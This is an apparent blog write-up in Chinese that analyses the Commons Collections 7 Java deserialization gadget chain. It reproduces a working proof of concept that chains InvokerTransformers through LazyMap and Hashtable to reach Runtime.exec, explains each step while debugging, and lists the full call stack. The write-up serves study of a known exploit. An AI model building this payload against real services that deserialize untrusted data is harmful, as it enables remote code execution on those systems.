其实该条利用链和cc5也是大同小异,也是利用LazyMap去触发的,只不过入口点换成了Hashtable
我们先来直接看看网上的poc然后跟着分析分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 final String[] execArgs = new String []{"calc" }; final Transformer transformerChain = new ChainedTransformer (new Transformer []{}); final Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, execArgs), new ConstantTransformer (1 )}; Map innerMap1 = new HashMap (); Map innerMap2 = new HashMap (); Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain); lazyMap1.put("yy" , 1 ); Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain); lazyMap2.put("zZ" , 1 ); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap1, 1 ); hashtable.put(lazyMap2, 2 ); Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers" ); iTransformers.setAccessible(true ); iTransformers.set(transformerChain,transformers); lazyMap2.remove("yy" );
问题1 从poc中我们可以看到进行了Hashtable两次put而且都是相同的key,为什么要这样做?我们直接看其readObject方法就不倒着调试了。
ements代表键值对的个数,我们创建Hashtable时传入了两个键值对,故elements=2
可以看到在readObject中的for循环里读出了序列化写进去的key 和 value值 这里可以看到第一次循环获取的是第一次hashtable put的key 和 value值然后跟到reconstitutionPut方法看看
从调试信息以及代码可以看出第一次for循环是没有进去的,是因为这里的tab是空的所以没法进入,而我们发现他在后面又直接将我们传入过来的key(第一个传入的lazymap) 和 value (值为1)又直接实例化到tab里面了。
所以继续跟进:
等到第二次传进来的值的时候就可以进入for循环了,这就是为什么我们需要两次传入同样的key,这时会在for循环里调用e.key也就等于LazyMap对象(第一次传入的)的equals方法并且传入的参数key也是LazyMap对象是第二次hashtable put进来的,但是这里有一个问题是我们去查看LazyMap并没有发现equals方法,于是我们去找他的父类发现在AbstractMapDecorator这个抽象类里实现了equals方法我们继续跟进看看
这里我们知道LazyMap也是put两个一样的key是hashmap对象所以这里会调用hashmap的equals方法
但是同样他也没有equals方法所以直接到它的父类AbstractMap里看
此时value并不为空所以进入到equals方法中且调用了get方法,此时的m就是第二次put进来的LazyMap对象,
所以也就触发了rce(后续一系列的过程跟其它lazymap很像)就不再一一跟了。
补充说明:这里分析的有点问题,这里涉及到hash碰撞的问题建议先参考:https://www.anquanke.com/post/id/248169#h3-4
http://myblog.ac.cn/archives/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcommoncollections7%E5%88%A9%E7%94%A8%E9%93%BE#%E6%8E%A7%E5%88%B6%E5%93%88%E5%B8%8C%EF%BC%88%E9%87%8D%E7%82%B9%EF%BC%89
问题2 为什么要反射修改ChainedTransformer的属性值
经过调试我们发现在hashtable对象进行put的时候也会调用到equals方法具体参照问题1的分析
所以在序列化之前我们先传一个不能够执行命令的invokertransformer对象。
问题3 为什么要删除laymap2中的key值呢,其实这里我们可以参考cc6链中为什么在序列化之前移除key一样,因为lazyMap执行get方法需要保证不存在这个值
而我们通过参考https://www.anquanke.com/post/id/248169#h2-6 文章和自己调试也发现我们在进行put的时候也会调用上面所分析的一系列方法导致最后put时最后调用get的时候我们会传入yy方法此时呢map对象是lazymap2其中是没有yy的值的但是
我们发现他会put进去,所以我们需要在序列化之前将其值删除掉,这样在反序列化的时候我们才能进入判断条件从而调用transform方法。
cc7调用链
直接贴原作的
1 2 3 4 5 6 7 8 9 10 11 12 java.util.Hashtable.readObject java.util.Hashtable.reconstitutionPut org.apache.commons.collections.map.AbstractMapDecorator.equals java.util.AbstractMap.equals org.apache.commons.collections.map.LazyMap.get org.apache.commons.collections.functors.ChainedTransformer.transform org.apache.commons.collections.functors.InvokerTransformer.transform java.lang.reflect.Method.invoke sun.reflect.DelegatingMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke sun.reflect.NativeMethodAccessorImpl.invoke0 java.lang.Runtime.exec